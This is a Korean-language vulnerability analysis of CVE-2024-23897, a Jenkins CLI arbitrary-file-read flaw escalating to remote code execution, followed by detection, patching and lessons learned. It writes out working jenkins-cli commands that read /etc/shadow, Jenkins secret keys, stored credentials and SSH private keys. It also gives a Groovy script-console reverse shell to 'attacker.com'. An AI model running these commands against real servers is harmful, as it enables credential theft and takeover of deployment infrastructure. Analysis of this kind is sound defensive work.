/CVE 분석/CVE-2024-23897
CriticalCVSS 9.82024-01-24

CVE-2024-23897: Jenkins CLI 임의 파일 읽기 → RCE (CVSS 9.8)

Jenkins CLI의 args4j 라이브러리가 @파일 인수를 자동 확장하는 기능을 악용해 서버 임의 파일을 읽을 수 있으며, 특정 조건에서 RCE로 이어지는 취약점.

#Jenkins#CLI#File Read#RCE#args4j

개요

항목 내용
CVE ID CVE-2024-23897
CVSS 점수 9.8 (Critical)
영향 제품 Jenkins < 2.442, LTS < 2.426.3
취약점 유형 Arbitrary File Read → RCE
인증 필요 ❌/⚠️ (설정에 따라 다름)
발견 Sonar, 2024년 1월
패치 Jenkins 2.442, LTS 2.426.3

기본 원리: CLI 인수 파싱과 파일 확장

명령줄 인수(Command-Line Arguments)란

프로그램이 실행될 때 받는 텍스트 인수다. 긴 인수 목록을 파일에 저장해 재사용하는 패턴이 흔하다.

# 인수가 많을 때 불편한 방식
java -jar app.jar --server http://jenkins.com --user admin --password abc123 --timeout 30 --format json help

# @파일 방식: 파일에 인수를 저장하고 @로 참조
cat > args.txt << EOF
--server http://jenkins.com
--user admin
--password abc123
--timeout 30
--format json
EOF

java -jar app.jar @args.txt help
# → @args.txt 파일 내용이 명령줄 인수로 대체됨

args4j는 Java 커맨드라인 인수 파싱 라이브러리로, 이 @파일 기능을 기본으로 제공한다.

취약점: 입력 파일 검증 없음

Jenkins CLI는 args4j를 사용해 인수를 처리한다. 문제는 @파일경로서버 내부 파일 경로를 지정할 수 있고, Jenkins가 이를 아무런 검증 없이 열어서 파일 내용을 인수로 사용한다는 것이다.

# 의도된 사용
java -jar jenkins-cli.jar help @my-args.txt

# 공격: 서버의 /etc/passwd를 인수 파일로 지정
java -jar jenkins-cli.jar help "@/etc/passwd"
#                               ↑ 서버가 /etc/passwd를 열어 내용을 읽음
# /etc/passwd 첫 번째 줄이 Jenkins CLI 인수로 파싱됨
# 오류 메시지에 일부 파일 내용이 출력됨

파일 읽기 공격

# Jenkins CLI JAR 다운로드 (인터넷 접근 가능한 Jenkins 서버)
curl -O http://jenkins.victim.com/jnlpJars/jenkins-cli.jar

# 1단계: /etc/passwd 읽기
java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
  help "@/etc/passwd" 2>&1 | head -20
# → 첫 번째 줄(root:x:0:0:root:/root:/bin/bash)이 에러 메시지에 포함

# 2단계: 민감한 파일 읽기
java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
  help "@/etc/shadow"                           # 비밀번호 해시

java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
  help "@/var/lib/jenkins/secrets/master.key"   # Jenkins 마스터 키

java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
  help "@/var/lib/jenkins/secrets/hudson.util.Secret"  # 암호화 시드

java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
  help "@/var/lib/jenkins/credentials.xml"      # 저장된 자격증명 (암호화됨)

java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
  help "@/home/jenkins/.ssh/id_rsa"             # SSH 개인키

RCE로의 확대

방법 1: Jenkins 자격증명 복호화 → 스크립트 콘솔

1. /var/lib/jenkins/secrets/master.key 읽기
2. /var/lib/jenkins/secrets/hudson.util.Secret 읽기
3. /var/lib/jenkins/credentials.xml 읽기 (암호화된 자격증명)

Jenkins 자격증명 암호화 방식:
  - hudson.util.Secret이 AES 키로 사용됨
  - master.key는 hudson.util.Secret을 보호
  - credentials.xml의 {AES256:...} 값이 실제 비밀번호

복호화 방법 (오프라인):
  python3 jenkins-decrypt.py master.key hudson.util.Secret credentials.xml
  → 평문 비밀번호 획득

복호화된 관리자 계정으로 Jenkins 로그인
→ 스크립트 콘솔(Jenkins 관리 → Script Console)
→ Groovy 코드 실행 → RCE
// Jenkins 스크립트 콘솔에서 RCE (관리자 권한)
println "id".execute().text
println "cat /etc/shadow".execute().text

// 리버스 쉘
["bash", "-c", "bash -i >& /dev/tcp/attacker.com/4444 0>&1"].execute()

방법 2: SSH 키 탈취

# Jenkins가 배포/운영 시스템에 SSH 접근하는 경우
# SSH 개인키를 탈취해 해당 시스템에 접근

java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
  help "@/var/lib/jenkins/.ssh/id_rsa"

# 탈취한 키로 SSH 접근
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa user@production-server.com

인증 요구사항

Jenkins 설정 공격 가능 여부
익명 사용자 읽기 허용 ✅ 완전한 비인증 공격 가능
최소 권한 계정 (Overall/Read) ✅ 파일 읽기 가능
인증된 사용자만 접근 ⚠️ 유효한 계정 하나만 있으면 공격 가능

많은 조직이 내부 Jenkins에 익명 읽기를 허용하거나, 광범위한 사용자가 읽기 권한을 가진다.


탐지 방법

# Jenkins 로그에서 @/ 패턴 확인
grep -E '"@/|@\\.\\.' /var/log/jenkins/jenkins.log
# 또는 Jenkins 로그 위치
grep -E '"@/' $(find / -name "jenkins.log" 2>/dev/null)

# 버전 확인
curl http://jenkins.victim.com/api/json | python3 -m json.tool | grep version

대응 방법

# 즉시 패치
# Jenkins 2.442 또는 LTS 2.426.3으로 업그레이드

# 패치 전 임시 조치: CLI 완전 비활성화
# Jenkins 관리 → 보안 → CLI 통해 원격 API 접근 허용 → 체크 해제
# 또는 Jenkins URL + /configureSecurity/에서 설정

# 익명 읽기 비활성화
# Jenkins 관리 → 보안 → 권한 부여 전략 → 로그인한 사용자에게 Allow 읽기 권한 부여 해제

교훈

1. 서드파티 라이브러리의 숨겨진 기능
   - args4j의 @파일 확장 기능이 설계 문서에 명시되어 있지만
     이것이 서버 파일 시스템 접근으로 이어질 것을 Jenkins 팀이 고려하지 않음
   - 외부 라이브러리 도입 시 모든 기능의 보안 영향 검토 필요

2. "파일 읽기"의 심각성 과소평가
   - 원격 파일 읽기 = CVSS 9.8이 되는 경우 많음
   - master.key + hudson.util.Secret만 있으면 모든 저장된 비밀 복호화 가능
   - "파일 읽기 = 정보 유출"에서 "파일 읽기 = RCE" 체인이 자주 발생

3. CI/CD 서버의 특수한 위험성
   - Jenkins는 배포 파이프라인에서 모든 시스템에 접근하는 키를 보유
   - Jenkins 장악 = 전체 배포 인프라 장악 가능
   - CI/CD 서버를 내부망 깊은 곳에 격리하고 최소 권한으로 운영해야 함